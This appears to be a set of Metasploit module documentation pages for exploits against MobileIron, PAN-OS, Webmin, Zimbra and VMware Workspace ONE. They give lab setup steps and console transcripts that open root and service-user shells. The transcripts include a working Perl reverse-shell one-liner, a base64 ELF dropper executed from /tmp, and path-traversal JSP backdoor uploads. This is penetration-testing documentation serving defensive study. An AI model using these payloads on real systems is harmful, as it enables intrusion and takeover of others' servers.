17. Enter a fully-qualified domain name for the device (e.g. `lobster.example.com`). Unfortunately, this needs to work. I added a
|
||||
static DNS enty to my lab network's router.
|
||||
18. Enter your desired name server. My lab network relies on the aforementioned router (e.g. `10.9.49.1`)
|
||||
19. Enter blank entries for name server 2 and 3.
|
||||
20. `yes` to enable remote shell access (why not, right?)
|
||||
21. `no` to configuring NTP
|
||||
22. `no` to configuring system clock
|
||||
23. `yes` to commit changes
|
||||
24. Type `reload` to restart the system and `yes`, when prompted, to both saving the configuration and proceeding with the reload
|
||||
25. When the system has restarted, you should now have a vulnerable install of MobileIron Core.
|
||||
26. Visit `https://ipaddr` to ensure the HTTP server has fully loaded
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/http/mobileiron_core_log4shell`
|
||||
3. Set the `RHOSTS`, `LHOST`, and `SRVHOST`
|
||||
4. Do: `run`
|
||||
5. If the target is vulnerable, the payload should be executed
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MobileIron Core 11.2.0.0-31
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
|
||||
RHOSTS => 10.9.49.100
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### MobileIron Core 10.6.0.0-23
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
|
||||
RHOSTS => 10.9.49.101
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 10.9.49.101 - Command shell session 1 closed.
|
||||
```
|
||||
@@ -0,0 +1,53 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2020-2038, an authenticated OS Command Injection vulnerability in PAN-OS versions < 10.0.1,
|
||||
< 9.1.4 and <9.0.10 that allows authenticated administrators to execute arbitrary OS commands with root privileges. The
|
||||
Rest API allows authenticated users to send operational mode commands via the "op" request. Insufficient filtering of
|
||||
user inputs in the "op" request allows an attacker to inject commands.
|
||||
|
||||
A Palo Alto Firewall demo VM can be requested at the following
|
||||
[link](https://www.paloaltonetworks.com/company/request-demo). PAN‑OS is the software that runs all Palo Alto Networks
|
||||
next-generation firewalls. PAN-OS will be running on the VM by default. The only setup necessary should be setting the
|
||||
administrator password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/panos_auth_rce`
|
||||
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### PAN-OS 10.0.0
|
||||
```
|
||||
msf6 > use linux/http/panos_auth_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/panos_auth_rce) > set rhosts 192.168.2.196
|
||||
rhosts => 192.168.2.196
|
||||
msf6 exploit(linux/http/panos_auth_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 exploit(linux/http/panos_auth_rce) > set PASSWORD N0tpassword!
|
||||
PASSWORD => N0tpassword!
|
||||
msf6 exploit(linux/http/panos_auth_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.114:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Authenticating...
|
||||
[+] Successfully obtained api key
|
||||
[+] The target is vulnerable.
|
||||
[*] Exploiting...
|
||||
[*] Sending stage (989032 bytes) to 192.168.2.196
|
||||
[*] Meterpreter session 1 opened (192.168.2.114:4444 -> 192.168.2.196:52592) at 2022-08-17 16:13:19 -0400
|
||||
[*] Command Stager progress - 100.00% done (1111/1111 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : PA-VM-10-0-0.home
|
||||
OS : Red Hat (Linux 3.10.0-957.21.3.10.pan.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary command injection in Webmin versions prior to
|
||||
1.997.
|
||||
|
||||
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
|
||||
updates and installation. Due to a lack of input sanitization, it is possible to
|
||||
inject an arbitrary command that will be concatenated to the package manager call.
|
||||
|
||||
This exploit requires authentication and the account must have access to the
|
||||
Software Package Updates module.
|
||||
|
||||
## Installation
|
||||
|
||||
### Ubuntu
|
||||
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
|
||||
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
|
||||
```
|
||||
apt-get install libauthen-pam-perl libio-pty-perl
|
||||
dpkg -i ./webmin_1.996_all.deb
|
||||
```
|
||||
|
||||
## Setup
|
||||
- Go to `https://<target IP>:10000/`
|
||||
- Login as `root` with the OS password
|
||||
- Create a new user:
|
||||
`Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
|
||||
- Setup permissions
|
||||
`Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`
|
||||
|
||||
## Verification Steps
|
||||
1. Install and setup the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
|
||||
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Set this to the Webmin base path. The default is `/`.
|
||||
|
||||
### USERNAME
|
||||
|
||||
The account username to use.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The account password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Webmin 1.996 on Ubuntu 18.04
|
||||
- Target 0 (`Unix In-Memory`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
cat /etc/issue
|
||||
Ubuntu 18.04.6 LTS \n \l
|
||||
```
|
||||
|
||||
- Target 1 (`Linux Dropper`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"]
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3020772 bytes) to 192.168.0.23
|
||||
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200
|
||||
[*] Command Stager progress - 100.00% done (823/823 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.0.23
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,199 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a path-traversal vulnerability as well as an authentication-bypass vulnerability
|
||||
in the following versions of Zimbra Collaboration Suite:
|
||||
|
||||
* Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
|
||||
* Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)
|
||||
|
||||
Note that the open source edition is not affected.
|
||||
|
||||
Successful exploitation results in RCE as the `zimbra` user.
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. I used a trial version of ZCS 8.8.12,
|
||||
which you can currently get [here](https://www.zimbra.com/downloads/zimbra-collaboration/). On the download page,
|
||||
after you register with a valid email address, there's an "older versions" link where you can get vulnerable versions.
|
||||
|
||||
To set the server up:
|
||||
1. `wget https://files.zimbra.com/downloads/8.8.12_GA/zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002.tgz` on a Ubuntu 18.04 VM.
|
||||
1. `tar -xvf zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002.tgz`
|
||||
1. `hostnamectl set-hostname <hostname of your choice>` to set the hostname for the VM.
|
||||
1. Edit the `/etc/hosts` file and add in a line `127.0.0.1 <hostname of your choice>`
|
||||
1. `cd zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002 && sudo ./setup.sh`
|
||||
1. Answer `Y` to every question.
|
||||
1. You will need to wait a while whilst some stuff is set up. You should then get to a menu.
|
||||
1. Use the number keys to select the menu options.
|
||||
1. Configure the rest of the options such as the admin password, and full path to license file.
|
||||
1. Once everything is configured you should get a prompt to press `a` to save and install. Press `a` when this appears.
|
||||
1. You will then be prompted to save the configuration. Accept this and respond `Y` to any further prompts.
|
||||
1. Server should start installing. Once its finished you should be ready to test.
|
||||
|
||||
Once the server is up, it's vulnerable.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166
|
||||
RHOSTS => 10.0.0.166
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/wuuvqmtko.jsp
|
||||
[*] Sending POST request with ZIP file
|
||||
[*] Trying to trigger the backdoor @ public/wuuvqmtko.jsp
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.166
|
||||
[+] Successfully triggered the payload
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/wuuvqmtko.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.166:35180) at 2022-08-19 11:06:38 -0700
|
||||
```
|
||||
|
||||
There's no easy way that I see to check for the patch (and the only vulnerable version I have is
|
||||
quite a bit older), so attempts to exploit patched versions will likely result in a warning message
|
||||
that the target may not vulnerable:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp
|
||||
[*] Sending POST request with ZIP file
|
||||
[*] Trying to trigger the backdoor @ public/gauca.jsp
|
||||
[-] Exploit aborted due to failure: unknown: Payload was not uploaded, the server probably isn't vulnerable
|
||||
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
1. `use exploit/linux/http/zimbra_mboximport_cve_2022_27925`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set LHOST <Address of Attacking Machine>`
|
||||
1. `exploit`
|
||||
1. You should get a shell as the `zimbra` user.
|
||||
|
||||
## Options
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
|
||||
|
||||
### `TARGET_FILENAME`
|
||||
|
||||
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
|
||||
|
||||
By default, it's a random string with `.jsp` on the end. That should work fine, especially
|
||||
because we can't overwrite files and don't want to use the same payload name more than once.
|
||||
|
||||
### `TARGET_USERNAME`
|
||||
|
||||
The username included in the `mboximport` request - any valid username works, `admin` is usually fine.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Zimbra Collaboration Suite Network Edition 8.8.12 Patch 6 on Ubuntu 18.04
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166
|
||||
RHOSTS => 10.0.0.166
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > show options
|
||||
|
||||
Module options (exploit/linux/http/zimbra_mboximport_cve_2022_27925):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.0.0.166 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 7071 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGET_FILENAME no The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).
|
||||
TARGET_PATH ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/ yes The location the payload should extract to (can, and should, contain path traversal characters - "../../").
|
||||
TARGET_USERNAME admin yes The target user, must be valid on the Zimbra server
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.0.0.146 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Zimbra Collaboration Suite
|
||||
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/nkxj.jsp
|
||||
[*] Sending POST request with ZIP file
|
||||
[*] Trying to trigger the backdoor @ public/nkxj.jsp
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.166
|
||||
[+] Successfully triggered the payload
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/nkxj.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.166:48640) at 2022-08-22 11:08:19 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
|
||||
meterpreter > shell
|
||||
Process 121849 created.
|
||||
Channel 1 created.
|
||||
/opt/zimbra/bin/zmcontrol -v
|
||||
Release 8.8.12.GA.3794.UBUNTU18.64 UBUNTU18_64 NETWORK edition, Patch 8.8.12_P6.
|
||||
```
|
||||
|
||||
### Zimbra Collaboration Suite Network Edition 8.8.15 Patch 33 on Ubuntu 18.04
|
||||
|
||||
Note: This version is not vulnerable, because the issue is patched
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.167
|
||||
RHOSTS => 10.0.0.167
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp
|
||||
[*] Sending POST request with ZIP file
|
||||
[*] Trying to trigger the backdoor @ public/gauca.jsp
|
||||
[-] Exploit aborted due to failure: unknown: Payload was not uploaded, the server probably isn't vulnerable
|
||||
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Zimbra Collaboration Suite Open Source Edition Patch 8.8.12 Patch 6 on Ubuntu 18.04
|
||||
|
||||
Note: This version is not vulnerable, the open source edition doesn't have the correct path.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.164
|
||||
RHOSTS => 10.0.0.164
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/cualvccyq.jsp
|
||||
[*] Sending POST request with ZIP file
|
||||
[-] Exploit aborted due to failure: not-found: The target path was not found, target is probably not vulnerable
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
|
||||
|
||||
```
|
||||
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
|
||||
# reboot
|
||||
```
|
||||
|
||||
And to verify:
|
||||
|
||||
```
|
||||
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
|
||||
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
|
||||
```
|
||||
|
||||
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To exploit Zimbra, first load the module and generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
[+] File created! Email the file above to any user on the target Zimbra server
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[...] waiting [...]
|
||||
```
|
||||
|
||||
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
|
||||
|
||||
```
|
||||
[...]
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
|
||||
|
||||
### `TARGET_FILENAME`
|
||||
|
||||
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
|
||||
|
||||
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
|
||||
|
||||
### `TRIGGER_PAYLOAD`
|
||||
|
||||
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
|
||||
|
||||
### `ListenerTimeout`
|
||||
|
||||
The number of seconds to wait for a new session (default = `0`, or infinite).
|
||||
|
||||
### `CheckInterval`
|
||||
|
||||
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
## Vulnerable Application
|
||||
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
|
||||
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
|
||||
is permitted via the sudo configuration without a password.
|
||||
|
||||
### Setup
|
||||
|
||||
To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
|
||||
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
|
||||
vulnerabilities out of the box.
|
||||
|
||||
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
|
||||
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
|
||||
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
|
||||
Website]. Steps to reset the `root` password are available [here].
|
||||
|
||||
[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
|
||||
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
|
||||
[resetting the root password]: https://kb.vmware.com/s/article/76530
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setup a vulnerable VMware instance (see the steps above).
|
||||
2. Start msfconsole.
|
||||
3. Obtain a session on the vulnerable instance.
|
||||
* It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
|
||||
vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
|
||||
4. Do: `set SESSION -1`
|
||||
5. Optionally set the PAYLOAD and related options.
|
||||
6. Do: `run`
|
||||
7. If the target is vulnerable, the payload should be executed.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware Workspace ONE Access 21.08.0.1
|
||||
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
|
||||
is elevated to root by exploiting CVE-2022-31660.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
|
||||
|
||||
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
